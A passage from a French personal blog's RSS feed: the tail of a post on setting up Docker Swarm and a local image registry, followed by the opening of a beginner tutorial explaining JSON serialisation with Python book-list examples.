  &lt;li&gt;&lt;a href=&quot;https://docs.docker.com/engine/swarm/swarm-tutorial/&quot;&gt;Tutoriel Docker Swarm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Maintenant sur master :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker swarm init --advertise-addr 1.2.3.4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui devrait donner quelque chose comme :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Swarm initialized: current node (....) is now a manager.

To add a worker to this swarm, run the following command:

    docker swarm join --token ... 1.2.3.4:2377

To add a manager to this swarm, run &apos;docker swarm join-token manager&apos; and follow the instructions.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On va donc lancer la commande sur les 2 slaves.
&lt;em&gt;Si vous avez perdu la commande, tapez juste &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker swarm join-token worker&lt;/code&gt; sur le master&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;On vérifie que tout s’est bien passé :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker node ls
ID                           HOSTNAME   STATUS  AVAILABILITY  MANAGER STATUS
6wyl4ozytbgdeak4s6sahs2zo *  rincevent  Ready   Active        Leader
i2lg4r3nsnvl9i8s0rr3t4fcy    insalan    Ready   Active        
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour quitter le swarm, la commande est :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker swarm leave --force
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Le –force est seulement nécessaire pour les managers&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;lancer-un-docker-registry-pour-stocker-nos-images&quot;&gt;Lancer un docker registry pour stocker nos images&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.docker.com/registry/deploying/&quot;&gt;Déployer un docker registry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lostechies.com/gabrielschenker/2016/09/05/docker-and-swarm-mode-part-1/&quot;&gt;Tutoriel Docker Registry sur Swarm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Dans notre cas, on va lancer le registry sans authentification et sans certificats TLS. De ce fait, il ne sera accessible que depuis localhost. L’idée c’est qu’avec le network mesh de Docker Swarm, il sera accessible depuis tous les noeuds du swarm via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost:5000&lt;/code&gt;. Bien entendu en production, il serait préférable d’avoir un registry bien configuré…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker service create --replicas 1 --publish 5000:5000 --name registry registry:2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Quelques commandes pour voir si tout s’est bien passé :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker service ls
docker service inspect --pretty registry
docker service ps registry
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour tester que tout marche bien :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl localhost:5000/v2/_catalog
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et si besoin de le supprimer :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker service rm registry
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;constuire-nos-images-et-les-publier-sur-le-registry&quot;&gt;Constuire nos images et les publier sur le registry&lt;/h2&gt;

&lt;p&gt;Pour chaque image, on va la build sur un des serveurs du swarm (car le repository n’est accessible que depuis localhost) et la publier :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd mon_image/
docker build -t mon_image .
docker tag mon_image localhost:5000/mon_image
docker push localhost:5000/mon_image
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;en-conclusion&quot;&gt;En conclusion&lt;/h2&gt;

&lt;p&gt;Après un échec de déploiement sur Scaleway et une réussite en demi teinte en local (le network mesh ne marchant pas sur mon Docker dans ma LXC), je vais en rester là pour le moment, en attendant de faire des machines virtuelles ou d’avoir du materiel pour tester.&lt;/p&gt;
</description>
        <pubDate>Thu, 09 Feb 2017 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2017-02-09/decouverte-docker-swarm/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-02-09/decouverte-docker-swarm/</guid>
      </item>
    
    
    
      <item>
        <title>JSON simplement</title>
        
        <description>&lt;p&gt;Cet article a pour but d’expliquer ce qu’est JSON et de montrer des cas simples d’utilisation avec python.
Encore une fois, il n’est pas exhaustif et ne s’adresse pas à des experts.
Les exemples seront données avec python, mais JSON peut-être utilisé avec n’importe quel langage de programmation.&lt;/p&gt;

&lt;p&gt;JSON est une abbréviation qui signifie &lt;em&gt;JavaScript Object Notation&lt;/em&gt;.
A vrai dire, ce n’est pas très important et ça ne nous informe pas particulièrement sur son usage.&lt;/p&gt;

&lt;p&gt;Prenons un exemple pour bien comprendre :&lt;/p&gt;

&lt;h2 id=&quot;le-contexte--ma-bibliothèque&quot;&gt;Le contexte : ma bibliothèque&lt;/h2&gt;

&lt;p&gt;Imaginons que vous commenciez à faire l’inventaire des livres de votre bibliothèque en python :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# On créer un nouveau tableau qui contiendra nos livres
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Si on a le malheur d’arrêter l’application, alors on perd tout le contenu du tableau bibliothèque.
Et donc à chaque démarrage, on doit de nouveau rerentrer les livres.
Pas très pratique, mais il doit bien y avoir une solution !&lt;/p&gt;

&lt;h2 id=&quot;ecrivons-la-liste-des-livres-dans-un-fichier&quot;&gt;Ecrivons la liste des livres dans un fichier&lt;/h2&gt;

&lt;p&gt;La solution est donc d’écrire la liste des livres dans un fichier.
Oui, mais c’est pas si simple.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Comment je vais faire ?&lt;/li&gt;
  &lt;li&gt;Séparer mes livres par des virgules ?
    &lt;ul&gt;
      &lt;li&gt;Si mon titre contient une virgule, que va t’il se passer ?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Un livre sur chaque ligne alors ?
    &lt;ul&gt;
      &lt;li&gt;Et si on veut rajouter d’autres informations après ? Comme l’auteur ?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Avec juste un titre, c’est plutot simple, on écrit un titre par ligne :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sauvegarder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# --- on convertit bibliotheque (un tableau) en chaine de caractère ---
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;contenu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# on ajoute à contenu un livre et un retour à la ligne
&lt;/span&gt;      &lt;span class=&quot;n&quot;&gt;contenu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# --- on sauvegarde la chaine de caractère ---
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sauvegarde.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;contenu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;charger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# --- on lit le fichier ---
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;contenu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sauvegarde.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;contenu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fichier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

   &lt;span class=&quot;c1&quot;&gt;# --- on convertit la chaine de caractère en bibliotheque (tableau) ---
&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;contenu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Si le fichier de sauvegarde existe, on le charge
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sauvegarde.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;charger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# on sauvegarde
&lt;/span&gt;  &lt;span class=&quot;nf&quot;&gt;sauvegarder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Récapitulons :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;On doit convertir notre variable (tableau, dictionnaire) en chaine de caractère&lt;/li&gt;
  &lt;li&gt;On doit écrire ou lire un fichier&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La deuxième partie est simple et ne change pas, mais la première semble assez bancale.&lt;/p&gt;

&lt;h2 id=&quot;si-on-complexifie-ça-ne-marche-plus&quot;&gt;Si on complexifie, ça ne marche plus&lt;/h2&gt;

&lt;p&gt;Imaginons qu’à la place d’un simple titre, on veuille stocker plus d’informations :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# On créer un nouveau tableau qui contiendra nos livres
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# On créer un dictionnaire python
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre &amp;gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur &amp;gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition &amp;gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On devrait alors modifier les parties conversions des fonctions charger et sauvegarder.
Et ces dernières deviendraient vraiment compliquées.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Mais est-ce que l’ordinateur ne pourrait pas de lui-même convertir notre tableau en texte ?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Oui, on appelle ça sérializer et déserializer des données (magnifique anglicisme au passage). Et JSON est une manière de faire ça, de convertir un tableau, un dictionnaire python, etc. en texte et vice-versa.&lt;/p&gt;

&lt;h2 id=&quot;découvrons-json&quot;&gt;Découvrons JSON&lt;/h2&gt;

&lt;p&gt;Donc JSON permets de convertir certaines variables (tableau, dictionnaire) en texte.
Voici un exemple avec notre bibliotheque&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;J. K. Rowling&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;titre&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Harry Potter 1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;edition&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Galimard&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bibliotheque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;livre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Terry Pratchett&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;livre2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;auteur&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Terry Pratchett&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
